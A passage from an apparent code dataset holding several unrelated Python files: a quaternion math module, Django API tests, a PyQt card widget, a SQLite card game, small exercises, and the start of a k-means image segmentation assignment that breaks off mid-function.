_numpy.ones(quat_array.shape[0], dtype=\"bool8\")\n for index in range(4):\n do_flip = under_consideration & (quat_array[..., index] < 0)\n quat_array[do_flip, :] = -quat_array[do_flip, :]\n under_consideration &= quat_array[..., index] == 0.\n\n\ndef _multiply_single(quat_1, quat_2):\n \"\"\"Return the product of quat_1 and quat_2\"\"\"\n quat_1 = _numpy.array(quat_1)\n quat_2 = _numpy.array(quat_2)\n if (len(quat_1.shape) == 2 and len(quat_2.shape) == 1):\n quat_2 = quat_2.reshape((1, 4))\n quat_out = _numpy.zeros(quat_1.shape)\n if (len(quat_2.shape) == 2 and len(quat_1.shape) == 1):\n quat_1 = quat_1.reshape((1, 4))\n quat_out = _numpy.zeros(quat_2.shape)\n else:\n quat_out = _numpy.zeros(quat_1.shape)\n\n quat_out[..., 0] = (quat_1[..., 0]*quat_2[..., 0] -\n quat_1[..., 1]*quat_2[..., 1] -\n quat_1[..., 2]*quat_2[..., 2] -\n quat_1[..., 3]*quat_2[..., 3])\n quat_out[..., 1] = (quat_1[..., 0]*quat_2[..., 1] +\n quat_1[..., 1]*quat_2[..., 0] +\n quat_1[..., 2]*quat_2[..., 3] -\n quat_1[..., 3]*quat_2[..., 2])\n quat_out[..., 2] = (quat_1[..., 0]*quat_2[..., 2] -\n quat_1[..., 1]*quat_2[..., 3] +\n quat_1[..., 2]*quat_2[..., 0] +\n quat_1[..., 3]*quat_2[..., 1])\n quat_out[..., 3] = (quat_1[..., 0]*quat_2[..., 3] +\n quat_1[..., 1]*quat_2[..., 2] -\n quat_1[..., 2]*quat_2[..., 1] +\n quat_1[..., 3]*quat_2[..., 0])\n return quat_out.squeeze()\n\n\ndef multiply(*list_of_quaternions):\n \"\"\"Return the product of all the provided quaternions\"\"\"\n if len(list_of_quaternions) < 1:\n raise ValueError(\"Must provide at least one quaternion to multiply\")\n result = list_of_quaternions[0]\n for this_rot in list_of_quaternions[1:]:\n result = _multiply_single(result, this_rot)\n return result\n\n\ndef relative(quat_1, quat_2):\n return multiply(inverse(quat_1), quat_2)\n\n\ndef angle(quat):\n \"\"\"Angle of the rotation\"\"\"\n quat = _numpy.array(quat)\n if len(quat.shape) == 1:\n quat = quat.reshape((1, 4))\n w = quat[:, 0]\n w[w > 1] = 1\n w[w < -1] = -1\n diff_angle = 2.*_numpy.arccos(w)\n abs_diff_angle = _numpy.minimum(abs(diff_angle),\n abs(diff_angle-2.*_numpy.pi))\n return abs_diff_angle.squeeze()\n\n\ndef relative_angle(rot1, rot2):\n \"\"\"Angle of the relative orientation from rot1 to rot2\"\"\"\n return angle(relative(rot1, rot2))\n\n\ndef rotate(quat, coordinates):\n rotation_matrix = quaternion_to_matrix(quat)\n # return rotation_matrix.dot(coordinates.T).T\n # return rotation_matrix.dot(coordinates)\n coordinates_flat = coordinates.reshape(\n (coordinates.shape[0], _numpy.product(coordinates.shape[1:])))\n rotated_flat = rotation_matrix.dot(coordinates_flat)\n return rotated_flat.reshape(coordinates.shape)\n\n\ndef rotate_array_bw(quat, x_coordinates, y_coordinates, z_coordinates):\n \"\"\"Like rotate_array but with the coordintes index backwords. Do not\n use.\"\"\"\n rotation_matrix = quaternion_to_matrix_bw(quat)\n out_array = rotation_matrix.dot(_numpy.array([x_coordinates,\n y_coordinates,\n z_coordinates]))\n return out_array[0], out_array[1], out_array[2]\n\n\ndef read_quaternion_list(filename):\n \"\"\"Read an hdf5 file with quaternions. Quaternions are stored\n separately in fields named '1', '2', .... A field\n 'number_of_rotations' define the number of such fields.\n \"\"\"\n import h5py\n with h5py.File(filename) as file_handle:\n number_of_rotations = file_handle['number_of_rotations'][...]\n quaternions = _numpy.zeros((number_of_rotations, 4))\n weights = _numpy.zeros(number_of_rotations)\n for i in range(number_of_rotations):\n quaternion_and_weight = file_handle[str(i)][...]\n quaternions[i] = quaternion_and_weight[:4]\n weights[i] = quaternion_and_weight[4]\n return quaternions, weights\n\n\ndef n_to_rots(sampling_n):\n \"\"\"The number of rotations when the sampling parameter n is used\"\"\"\n return 10*(sampling_n+5*sampling_n**3)\n\n\ndef n_to_angle(sampling_n):\n \"\"\"The largest angle separating two adjacant orientations when the\n sampling parameter n is used.\"\"\"\n tau = (1.0 + _numpy.sqrt(5.0))/2.0\n return 4./sampling_n/tau**3\n\n\ndef rots_to_n(rots):\n \"\"\"The sampling parameter n corresponding to a certain\n number of rotations.\"\"\"\n sampling_n = 1\n while True:\n this_rots = n_to_rots(sampling_n)\n if this_rots == rots:\n return sampling_n\n if this_rots > rots:\n raise ValueError(f\"{rots} rotations does not correspond to any n\")\n sampling_n += 1\n\n\ndef quaternion_to_angle(quat):\n \"\"\"The angle by which this transformation rotates\"\"\"\n return 2.*_numpy.arccos(quat[0])\n\n\ndef quaternion_to_axis(quat):\n \"\"\"The axis around which this rotation rotates\"\"\"\n return quat[1:]/_numpy.linalg.norm(quat[1:])\n\n\ndef matrix_to_euler_angle(mat, order=\"zxz\"):\n \"\"\"This function is based on the following NASA paper:\n http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19770024290.pdf\"\"\"\n\n if len(mat.shape) < 3:\n euler = _numpy.zeros(3, dtype=mat.dtype)\n else:\n euler = _numpy.zeros((len(mat), 3), dtype=mat.dtype)\n\n if order == \"xyz\":\n euler[..., 0] = _numpy.arctan2(-mat[..., 1, 2], mat[..., 2, 2])\n euler[..., 1] = _numpy.arctan2(mat[..., 0, 2],\n _numpy.sqrt(1.-mat[..., 0, 2]**2))\n euler[..., 2] = _numpy.arctan2(-mat[..., 0, 1], mat[..., 0, 0])\n elif order == \"xzy\":\n euler[..., 0] = _numpy.arctan2(mat[..., 2, 1], mat[..., 1, 1])\n euler[..., 1] = _numpy.arctan2(-mat[..., 0, 1],\n _numpy.sqrt(1.-mat[..., 0, 1]**2))\n euler[..., 2] = _numpy.arctan2(mat[..., 0, 2], mat[..., 0, 0])\n elif order == \"xyx\":\n euler[..., 0] = _numpy.arctan2(mat[..., 1, 0], -mat[..., 2, 0])\n euler[..., 1] = _numpy.arctan2(_numpy.sqrt(1.-mat[..., 0, 0]**2),\n mat[..., 0, 0])\n euler[..., 2] = _numpy.arctan2(mat[..., 0, 1], mat[..., 0, 2])\n elif order == \"xzx\":\n euler[..., 0] = _numpy.arctan2(mat[..., 2, 0], mat[..., 1, 0])\n euler[..., 1] = _numpy.arctan2(_numpy.sqrt(1.-mat[..., 0, 0]**2),\n mat[..., 0, 0])\n euler[..., 2] = _numpy.arctan2(mat[..., 0, 2], -mat[..., 0, 1])\n elif order == \"yxz\":\n euler[..., 0] = _numpy.arctan2(mat[..., 2, 0], mat[..., 2, 2])\n euler[..., 1] = _numpy.arctan2(-mat[..., 1, 2],\n _numpy.sqrt(1.-mat[..., 1, 2]**2))\n euler[..., 2] = _numpy.arctan2(mat[..., 1, 0], -mat[..., 1, 1])\n elif order == \"yzx\":\n euler[..., 0] = _numpy.arctan2(-mat[..., 2, 0], mat[..., 0, 0])\n euler[..., 1] = _numpy.arctan2(mat[..., 1, 0],\n _numpy.sqrt(1.-mat[..., 1, 0]**2))\n euler[..., 2] = _numpy.arctan2(-mat[..., 1, 2], mat[..., 1, 1])\n elif order == \"yxy\":\n euler[..., 0] = _numpy.arctan2(mat[..., 0, 1], mat[..., 2, 1])\n euler[..., 1] = _numpy.arctan2(_numpy.sqrt(1.-mat[..., 1, 1]**2),\n mat[..., 1, 1])\n euler[..., 2] = _numpy.arctan2(-mat[..., 1, 0], -mat[..., 1, 0])\n elif order == \"yzy\":\n euler[..., 0] = _numpy.arctan2(mat[..., 2, 1], -mat[..., 0, 1])\n euler[..., 1] = _numpy.arctan2(_numpy.sqrt(1.-mat[..., 1, 1]**2),\n mat[..., 1, 1])\n euler[..., 2] = _numpy.arctan2(mat[..., 1, 2], mat[..., 1, 0])\n elif order == \"zxy\":\n euler[..., 0] = _numpy.arctan2(-mat[..., 0, 1], mat[..., 1, 1])\n euler[..., 1] = _numpy.arctan2(_numpy.sqrt(1.-mat[..., 2, 1]**2),\n mat[..., 2, 1])\n euler[..., 2] = _numpy.arctan2(mat[..., 2, 0], mat[..., 2, 2])\n elif order == \"zyx\":\n euler[..., 0] = _numpy.arctan2(mat[..., 1, 0], mat[..., 0, 0])\n euler[..., 1] = _numpy.arctan2(-mat[..., 2, 0],\n _numpy.sqrt(1.-mat[..., 2, 0]**2))\n euler[..., 2] = _numpy.arctan2(mat[..., 2, 1], mat[..., 2, 2])\n elif order == \"zxz\":\n euler[..., 0] = _numpy.arctan2(mat[..., 0, 2], -mat[..., 1, 2])\n euler[..., 1] = _numpy.arctan2(_numpy.sqrt(1.-mat[..., 2, 2]**2),\n mat[..., 2, 2])\n euler[..., 2] = _numpy.arctan2(mat[..., 2, 0], mat[..., 2, 1])\n elif order == \"zyz\":\n euler[..., 0] = _numpy.arctan2(mat[..., 1, 2], mat[..., 0, 2])\n euler[..., 1] = _numpy.arctan2(_numpy.sqrt(1.-mat[..., 2, 2]**2),\n mat[..., 2, 2])\n euler[..., 2] = _numpy.arctan2(mat[..., 2, 1], -mat[..., 2, 0])\n else:\n raise ValueError(\"unrecognized order: {0}\".format(order))\n\n return euler\n\n\nrotate_array = refactor.new_to_old(rotate, \"rotate_array\")\n\n\nrandom_quaternion = refactor.new_to_old(random, \"random_quaternion\")\nquaternion_from_dir_and_angle = refactor.new_to_old(\n from_angle_and_dir, \"quaternion_from_dir_and_angle\")\nquaternion_inverse = refactor.new_to_old(inverse, \"quaternion_inverse\")\nquaternion_normalize = refactor.new_to_old(normalize, \"quaternion_normalize\")\nquaternion_fix_sign = refactor.new_to_old(fix_sign, \"quaternion_fix_sign\")\nquaternion_multiply = refactor.new_to_old(multiply, \"quaternion_multiply\")\nquaternion_relative = refactor.new_to_old(relative, \"quaternion_relative\")\n","repo_name":"ekeberg/Python-tools","sub_path":"eke/rotmodule.py","file_name":"rotmodule.py","file_ext":"py","file_size_in_byte":14895,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"1316833450","text":"import datetime\nfrom rest_framework import status\nfrom rest_framework.test import APITestCase\nfrom core.models import Scraper, AssetData, Asset\nfrom api.serializers import AssetSerializer, AssetDataSerializer\nfrom django.urls import reverse\n\n\nclass ScraperAPITest(APITestCase):\n @classmethod\n def setUpTestData(cls):\n cls.assets = [Asset.objects.create() for _ in range(3)]\n cls.asset = cls.assets[0]\n cls.asset.name = \"TEST\"\n cls.asset.save()\n\n cls.assetsdata = [\n AssetData.objects.create(\n price=1.1,\n low_24h=1.1,\n high_24h=1.1,\n retunrs_24h=1.1,\n retunrs_ytd=1.1,\n volatility=1.1,\n data_datetime=datetime.datetime.now(),\n asset=cls.asset,\n )\n for _ in range(3)\n ]\n cls.assetdata = cls.assetsdata[0]\n\n def test_list_assets(self):\n response = self.client.get(reverse(\"asset-list\"))\n self.assertEquals(status.HTTP_200_OK, response.status_code)\n self.assertEquals(len(self.assets), len(response.data))\n\n for asset in self.assets:\n self.assertIn(AssetSerializer(instance=asset).data, response.data)\n\n def test_list_assets_data(self):\n response = self.client.get(reverse(\"asset-data-list\", args=[\"TEST\"]))\n self.assertEquals(status.HTTP_200_OK, response.status_code)\n self.assertEquals(len(self.assetsdata), len(response.data[\"values\"]))\n\n for assetdata in self.assetsdata:\n self.assertIn(\n AssetDataSerializer(instance=assetdata).data, response.data[\"values\"]\n )\n","repo_name":"hlatorreg/tcctest","sub_path":"api/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71708663080","text":"import sys\nimport numpy as np\nfrom bfit_samples import get_samples, get_random_params\nfrom bdata import N, bdata\nimport pandas as pd\nfrom predictive_mean_resp import get_mpl_mr\nfrom bayesian import hpd\n\ndef main():\n \"\"\"Prints observed and predicted stdev of mean response.\"\"\"\n samples = get_samples()\n\n # Predicted stdev of mean response for 84 new participants\n stds = []\n\n for i, (_, sample) in enumerate(samples.iterrows()):\n print('Calculating predicted stdev of mean response...')\n if i % 100 == 0:\n print('Rep {} of {}...'.format(i + 1, len(samples)))\n sys.stdout.flush()\n mrs = []\n for (x, _), (k, A, rho, t) in zip(bdata, get_random_params(sample, N)):\n mrs.append(get_mpl_mr(x, k, A, rho, t))\n stds.append(np.std(mrs, ddof=1))\n stds = pd.Series(stds)\n\n truestd = np.std([np.mean(y[-100:]) for x, y in bdata], ddof=1)\n print(\n \"Mean predicted stdev, predicted stdev credital interval, stdev HPDI,\",\n \"observed stdev, prob[expected > observed]:\",\n stds.mean(), (stds.quantile(0.025), stds.quantile(0.975)), hpd(stds),\n truestd, np.mean([int(std > truestd) for std in stds]))\n\nif __name__ == '__main__':\n main()\n ","repo_name":"carolfs/mpl_m0exp","sub_path":"check_mr_std.py","file_name":"check_mr_std.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"23141112705","text":"import sys\n\nfrom PyQt5 import uic\nfrom PyQt5.QtWidgets import QWidget, QFrame, QLabel, QApplication, \\\n QVBoxLayout, QHBoxLayout, QSizePolicy, QPlainTextEdit, QLineEdit, \\\n QScrollArea, QScrollBar, QColorDialog, QMessageBox\nfrom PyQt5 import QtGui\nfrom PyQt5.QtCore import Qt\n# This module is not used, but it must be imported for the icons to work\nfrom static.icons import ico\n\n\nclass QCard(QWidget):\n def __init__(self, card_id: int, title='', marks_colors=[], description='', parent=None):\n super().__init__(parent)\n # Group of card\n self.group_parent = parent\n\n # List with colors for card marks\n self.marks_colors = marks_colors\n # Title of the card\n self.title = title\n # Description\n self.description = description\n # Id of the card\n self.card_id = card_id\n\n self.init_ui()\n\n def init_ui(self):\n # Setting up main_widget\n self.card_widget_main = QWidget(self)\n self.card_widget_main.setObjectName(\"card_widget_main\")\n self.card_widget_main.resize(140, 120)\n self.card_widget_main.setMinimumSize(130, 120)\n self.card_widget_main.setMaximumSize(260, 260)\n self.card_widget_main.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Minimum)\n\n # Title of the card (editable)\n self.lineEdit_title = QLineEdit(self.title)\n self.lineEdit_title.setStyleSheet(\"\"\"\n QLineEdit { \n background:rgba(0, 0, 0, 0);\n color: rgba(255, 255, 255, 93%);\n border-style: None; }\"\"\")\n self.lineEdit_title.setFont(QtGui.QFont(\"Nirmala UI\", pointSize=10))\n self.lineEdit_title.setAlignment(Qt.AlignTop | Qt.AlignHCenter)\n\n # Layout with all card marks and with edit icon\n self.hlayout_marks = QHBoxLayout()\n for color in self.marks_colors:\n current_mark = QWidget()\n current_mark.setMinimumSize(22, 5)\n current_mark.setMaximumHeight(8)\n current_mark.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Fixed)\n current_mark.setStyleSheet(\"QWidget {background: \" + color + \";}\")\n self.hlayout_marks.addWidget(current_mark)\n\n # Adding delete icon to layout with marks\n self.label_add_mark_icon = QLabel()\n self.label_add_mark_icon.setPixmap(QtGui.QPixmap(\":/icons/add.png\"))\n self.label_add_mark_icon.setAlignment(Qt.AlignLeft | Qt.AlignVCenter)\n self.label_add_mark_icon.mousePressEvent = self.add_mark\n self.hlayout_marks.addWidget(self.label_add_mark_icon)\n\n # Adding delete icon to layout with marks\n self.label_delete_icon = QLabel()\n self.label_delete_icon.setPixmap(QtGui.QPixmap(\":/icons/delete.png\"))\n self.label_delete_icon.setAlignment(Qt.AlignRight | Qt.AlignVCenter)\n self.label_delete_icon.mousePressEvent = self.delete_card\n self.hlayout_marks.addWidget(self.label_delete_icon)\n\n # Description of the card\n self.textEdit_deskription = QPlainTextEdit(self.description)\n self.textEdit_deskription.setStyleSheet(\"\"\"\n QPlainTextEdit { \n margin-top: 0.1em;\n margin-bottom: 0.1em;\n background:rgba(0, 0, 0, 0%);\n color: rgba(255, 255, 255, 79%);\n selection-background-color: grey;\n border: None; }\"\"\")\n self.textEdit_deskription.setFont(QtGui.QFont(\"Nirmala UI\", pointSize=10))\n self.textEdit_deskription.setWordWrapMode(QtGui.QTextOption.WordWrap)\n self.textEdit_deskription.setFrameStyle(QFrame.NoFrame)\n self.textEdit_deskription.setAutoFillBackground(False)\n # Palette for text edit\n palette = QtGui.QPalette()\n palette.setColor(QtGui.QPalette.Highlight, QtGui.QColor(255, 255, 255, 200))\n palette.setColor(QtGui.QPalette.HighlightedText, QtGui.QColor(255, 255, 255, 200))\n self.textEdit_deskription.setPalette(palette)\n\n # Combine all widgets to main layout\n self.vlayout_main = QVBoxLayout()\n self.vlayout_main.setContentsMargins(8, 5, 8, 5)\n self.vlayout_main.addLayout(self.hlayout_marks)\n self.vlayout_main.addWidget(self.lineEdit_title)\n self.vlayout_main.addWidget(self.textEdit_deskription)\n self.vlayout_main.setStretch(3, 2)\n self.card_widget_main.setLayout(self.vlayout_main)\n\n # Container for whole card with card_widget_main inside\n self.vlayout_card_container = QVBoxLayout()\n self.vlayout_card_container.addWidget(self.card_widget_main)\n self.setLayout(self.vlayout_card_container)\n self.setStyleSheet(\"\"\"#card_widget_main {\n padding-top: 0.2em;\n padding-bottom: 0.2em;\n background: #38304D;\n border-style: outset;\n border-radius: 15px;\n }\n #card_widget_main::hover {\n background: #443B5E; \n }\"\"\")\n self.mousePressEvent = self.change_focus\n\n def change_focus(self, *args):\n \"\"\"\n Method that sets focus on widget\n :param args: Event data\n \"\"\"\n self.setFocus()\n\n def add_mark(self, *args):\n \"\"\"\n Method adds color mark to card\n :param args: Event data\n \"\"\"\n # Limit for marks color\n if len(self.marks_colors) > 2:\n message = QMessageBox(QMessageBox.Information, \"Внимание!\",\n \"Достигнут лимит по цветным меткам\")\n message.setWindowIcon(QtGui.QIcon(\":/icons/app.png\"))\n message.exec_()\n return\n\n # Selecting color\n dialog = QColorDialog()\n dialog.exec_()\n color = dialog.selectedColor()\n # Adding mark\n self.marks_colors.append(color.name())\n current_mark = QWidget()\n current_mark.setMinimumSize(22, 5)\n current_mark.setMaximumHeight(8)\n current_mark.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Fixed)\n current_mark.setStyleSheet(\"QWidget {background: \" + color.name() + \";}\")\n self.hlayout_marks.insertWidget(1, current_mark)\n\n def delete_card(self, *args):\n \"\"\"\n Method that delete current card\n :param args: Event data\n \"\"\"\n self.group_parent.remove_card(self)\n\n def to_dict(self) -> dict:\n return {\n \"title\": self.title,\n \"description\": self.description,\n \"marks_colors\": self.marks_colors\n }\n\n\nclass QGroup(QWidget):\n def __init__(self, group_id: int, title='', cards=[], parent=None):\n super().__init__(parent)\n\n # Title of the group\n self.title = title\n # List of cards in group\n self.cards = cards\n # Id of current group\n self.group_id = group_id\n\n self.init_ui()\n\n def init_ui(self):\n # Widget with main layout\n self.group_widget_main = QWidget(self)\n\n # Title of the group\n self.lineEdit_title = QLineEdit(self.title)\n self.lineEdit_title.mouseDoubleClickEvent = lambda event: self.lineEdit_title.selectAll()\n self.lineEdit_title.focusInEvent = lambda event: None\n self.lineEdit_title.setStyleSheet(\"\"\"\n QLineEdit { \n margin-right: 8px;\n background:rgba(0, 0, 0, 0);\n color: rgba(255, 255, 255, 93%);\n border-style:None }\"\"\")\n self.lineEdit_title.setFont(QtGui.QFont(\"Nirmala UI\", pointSize=12))\n self.lineEdit_title.setAlignment(Qt.AlignLeft | Qt.AlignCenter)\n self.lineEdit_title.setMaxLength(30)\n\n self.label_add_group = QLabel(\"+ Добавить ещё одну карточку\")\n self.label_add_group.setFont(QtGui.QFont(\"Nirmala UI\", pointSize=10))\n self.label_add_group.setSizePolicy(QSizePolicy.Fixed, QSizePolicy.Fixed)\n self.label_add_group.setStyleSheet(\"\"\"\n QLabel { \n color: rgba(255, 255, 255, 79%);\n padding: 4px 4px 4px 4px;\n }\n QLabel:hover {\n background: #302746; \n }\"\"\")\n self.label_add_group.mousePressEvent = lambda event: self.add_card()\n\n # Layout with all cards of this group\n self.vlayout_cards = QVBoxLayout()\n self.vlayout_cards.setSpacing(6)\n for card_data in self.cards:\n widget_cart_current = QCard(self.vlayout_cards.count(),\n card_data.title,\n card_data.marks_colors,\n card_data.description,\n parent=self)\n self.vlayout_cards.addWidget(widget_cart_current)\n\n # Scroll area for displaying all widgets\n self.scroll_area = QScrollArea(self)\n self.scroll_area.setFrameStyle(QFrame.NoFrame)\n self.scroll_area.setStyleSheet(\"QScrollArea{background:transparent;}\")\n self.scroll_area.setAutoFillBackground(False)\n # Container for scroll area\n self.widget_cards_container = QWidget()\n self.widget_cards_container.setAutoFillBackground(False)\n self.widget_cards_container.setObjectName(\"widget_cards_container\")\n self.widget_cards_container.setStyleSheet(\"\"\"#widget_cards_container{\n background:#241E35;\n border-style: outset;\n border-radius: 25px;}\"\"\")\n # Layout for container\n self.widget_cards_container.setLayout(self.vlayout_cards)\n self.scroll_area.setWidget(self.widget_cards_container)\n self.scroll_area.setWidgetResizable(True)\n\n # Combine all widgets to main layout\n self.vlayout_main = QVBoxLayout()\n self.vlayout_main.addWidget(self.lineEdit_title)\n self.vlayout_main.addWidget(self.scroll_area)\n self.vlayout_main.addWidget(self.label_add_group)\n self.vlayout_main.setAlignment(self.label_add_group, Qt.AlignLeft | Qt.AlignCenter)\n self.vlayout_main.setContentsMargins(5, 5, 5, 5)\n self.group_widget_main.setLayout(self.vlayout_main)\n\n # Layout with group_widget_main\n self.vlayout_group_container = QVBoxLayout()\n self.vlayout_group_container.addWidget(self.group_widget_main)\n self.setLayout(self.vlayout_group_container)\n\n def add_card(self, marks_colors=[], title=\"Без названия\", description=\"Без описания\") -> None:\n \"\"\"\n Method add cart to QGroup\n :param title: Title for new card\n :param description: Description for card\n :param marks_colors: HEX colors for marks on card\n \"\"\"\n card = QCard(len(self.cards), title=title,\n marks_colors=list(marks_colors), description=description,\n parent=self)\n # Append card in QGroup list\n self.cards.append(card)\n # Adding card to current group\n self.vlayout_cards.addWidget(card)\n\n def remove_card(self, card: QCard) -> None:\n if card in self.cards:\n # Remove card from QGroup list\n self.cards.remove(card)\n # Remove card from current group\\\n self.vlayout_cards.removeWidget(card)\n card.setParent(None)\n self.vlayout_cards.update()\n del card\n\n def to_dict(self) -> dict:\n result = {\n \"title\": self.title,\n \"cards\": []\n }\n\n for card in self.cards:\n result[\"cards\"].append(card.to_dict())\n\n return result\n","repo_name":"Nik4ant/QT_project","sub_path":"static/custom_widgets.py","file_name":"custom_widgets.py","file_ext":"py","file_size_in_byte":12599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3425024015","text":"import sqlite3\nfrom random import randint\nfrom time import time\n\nconn = sqlite3.connect(\"computer_cards.db\")\n\ndef insert_picked(name):\n insert_sql = \"INSERT INTO picked(name, time) VALUES ('{}', {})\".format(name, time())\n conn.execute(insert_sql)\n conn.commit()\n\ndef read_last_picked():\n result = conn.execute(\"SELECT * FROM picked ORDER BY time DESC\")\n return result.fetchone()\n\ndef read_all_cards():\n result = conn.execute(\"SELECT * FROM computer\")\n return result.fetchall()\n\ndef pick_card():\n cards = read_all_cards()\n last_picked_card = read_last_picked()\n # print(\"lp tuple: \", last_picked_card)\n # print(\"lp card name string : \", last_picked_card[0])\n\n random_card = cards[randint(0, len(cards) - 1)]\n # print(\"rc tuple: \", random_card)\n\n #keep shuffling until the random card isn't the last picked card\n while random_card[0] == last_picked_card[0]:\n random_card = cards[randint(0, len(cards) - 1)]\n\n insert_picked(random_card[0])\n return random_card\n\n\nplayer = input(\"Are you player (1) or (2) > \")\nchoosing_player = \"1\"\n\nplayer1_score = player2_score = 0\n\nfor round in range(5):\n input(\"Press enter to pick a card when both players are ready > \")\n\n card = pick_card()\n card_text = f\"{card[0]}, cores={card[1]}, speed={card[2]}GHz, RAM={card[3]}MB, cost={card[4]}$\"\n print(card_text)\n\n print(\"Player \" + choosing_player + \" picks.\")\n\n winner = input(f\"Did you (player {player}) win? (Y)es, (N)o, (D)raw >\").lower()\n\n if winner == \"y\" or winner == \"n\":\n if winner == \"y\":\n choosing_player = player\n elif winner == \"n\":\n choosing_player = \"2\" if player == \"1\" else \"1\"\n\n #update score\n if choosing_player == \"1\" :\n player1_score += 1\n elif choosing_player == \"2\":\n player2_score += 1\n\nif player1_score > player2_score:\n print(f\"Player 1 won with {player1_score} score!\")\n print(f\"Player 2's score: {player2_score}\")\nelse:\n print(f\"Player 2 won with {player2_score} score!\")\n print(f\"Player 1's score: {player1_score}\")\n\nconn.close()\n","repo_name":"asaeed17/cards-guesser","sub_path":"cards_guesser.py","file_name":"cards_guesser.py","file_ext":"py","file_size_in_byte":2108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70815014759","text":"# 0, 1, 1, 2, 3, 5, 8, 13, 21... Fibonnaci Numbers\n\nour_input = int(input(\"How many series of numbers? \"))\n\nprev_num = 0\nnext_num = 1\n\nincrease_by = 0\n\n\nif our_input <= 0:\n print(\"\\nError. Please enter a value above 0.\")\n\nelif our_input == 1:\n \n print(\"\\nFibonacci series for\", our_input,\": \")\n print(prev_num)\n\nelse:\n print(\"\\nFibonacci series until\", our_input, \":\\n\")\n\n while increase_by <= our_input:\n print(prev_num)\n\n add = prev_num + next_num\n\n prev_num = next_num\n next_num = add\n\n increase_by += 1\n\n","repo_name":"shreejalearn/PythonLearning","sub_path":"Fibonnaci.py","file_name":"Fibonnaci.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"27883518070","text":"import os\nimport argparse\nimport media.data.media.meta.authorship as MA\nfrom media.tools.common import (\n load_media_dev\n )\n\n\ndef list_authorship_recs(in_list):\n '''\n Provide a summary list of all movies, sorted by title or runtime.\n '''\n for record_i in in_list:\n title = record_i.title\n a_string = ''\n if record_i.catalog.authors:\n for a_name in record_i.catalog.authors:\n a_string += a_name.name + \" \"\n a_string = a_string[:-1]\n print(f\"{title:40s} ({a_string})\")\n if record_i.changelog:\n for c_rec in record_i.changelog:\n if issubclass(c_rec.__class__, MA.CreationRecord):\n print('-' * 50)\n print(f\"Created: {c_rec.tstamp!s}\")\n print()\n\n\ndef prep_list(in_devices):\n '''\n Build the list of output entries.\n '''\n out_l = []\n for media_i in in_devices:\n if media_i.author_record:\n out_l.append(media_i.author_record)\n return out_l\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Simple media list.')\n parser.add_argument('--mediapath', help='path of media library')\n args = parser.parse_args()\n\n mediapath = args.mediapath or os.environ['MEDIAPATH']\n if not mediapath:\n parser.print_help()\n devices = load_media_dev(mediapath)\n chunks = prep_list(devices)\n list_authorship_recs(chunks)\n","repo_name":"cjcodeproj/medialibrary","sub_path":"src/media/tools/media/authorrecords.py","file_name":"authorrecords.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"28247779210","text":"class Solution:\n def dominantIndex(self, nums: List[int]) -> int:\n numsList = sorted(nums, reverse=True) # create new list for sorted nums in descending order\n if numsList[0] >= 2 * numsList[1]:\n return nums.index(numsList[0]) # return index of largest int in nums if at least 2x of next largest number\n return -1\n \n # alternative method using enumerate\n first, second, max_idx = 0, 0, 0\n for idx, i in enumerate(nums):\n if i >= first:\n first, second = i, first # if i in nums larger than existing first -> replace existing first with i and replace existing second with first\n max_idx = idx # return the index of the current highest integer\n elif i > second: \n second = i # if i larger than second only, replace second with i as next largest int\n if first >= 2 * second:\n return max_idx\n return -1\n","repo_name":"hanqe8/LeetCode","sub_path":"python3/0747_Largest_Number_At_Least_Twice_of_Others.py","file_name":"0747_Largest_Number_At_Least_Twice_of_Others.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"1960776314","text":"\"\"\"\nK-Means Segmentation Problem\n(Due date: Nov. 25, 11:59 P.M., 2019)\nThe goal of this task is to segment image using k-means clustering.\n\nDo NOT modify the code provided to you.\nDo NOT import ANY library or API besides what has been listed.\nHint:\nPlease complete all the functions that are labeled with '#to do'.\nYou are allowed to add your own functions if needed.\nYou should design you algorithm as fast as possible. To avoid repetitve calculation, you are suggested to depict clustering based on statistic histogram [0,255].\nYou will be graded based on the total distortion, e.g., sum of distances, the less the better your clustering is.\n\"\"\"\n\n\nimport utils\nimport numpy as np\nimport json\nimport time\n\n\ndef kmeans(img,k):\n \"\"\"\n Implement kmeans clustering on the given image.\n Steps:\n (1) Random initialize the centers.\n (2) Calculate distances and update centers, stop when centers do not change.\n (3) Iterate all initializations and return the best result.\n Arg: Input image;\n Number of K.\n Return: Clustering center values;\n Clustering labels of all pixels;\n Minimum summation of distance between each pixel and its center.\n \"\"\"\n # TODO: implement this function.\n\n # NOTE: max is 245\n\n cluster1 = 0\n clusterb = 255\n avg1 = 0\n distsuma = 0\n count1 = 0\n avgb = 0\n distsumb = 0\n countb = 0\n for row in img:\n\n for pixel in row:\n if abs(pixel - cluster1) > abs(pixel - clusterb):\n avgb = avgb + pixel\n countb = countb + 1\n avgb = avgb / countb\n distsumb = distsumb + abs(pixel - clusterb)\n elif abs(pixel - cluster1) < abs(pixel - clusterb):\n avg1 = avg1 + pixel\n count1 = count1 + 1\n avg1 = avg1 / count1\n distsuma = distsuma + abs(pixel - cluster1)\n else:#NOTE: if equidistant put in the smaller pool\n if count1 > countb:\n avg1 = avg1 + pixel\n count1 = count1 + 1\n avg1 = avg1 / count1\n distsuma = distsuma + abs(pixel - cluster1)\n else:\n avgb = avgb + pixel\n countb = countb + 1\n avgb = avgb / countb\n distsumb = distsumb + abs(pixel - 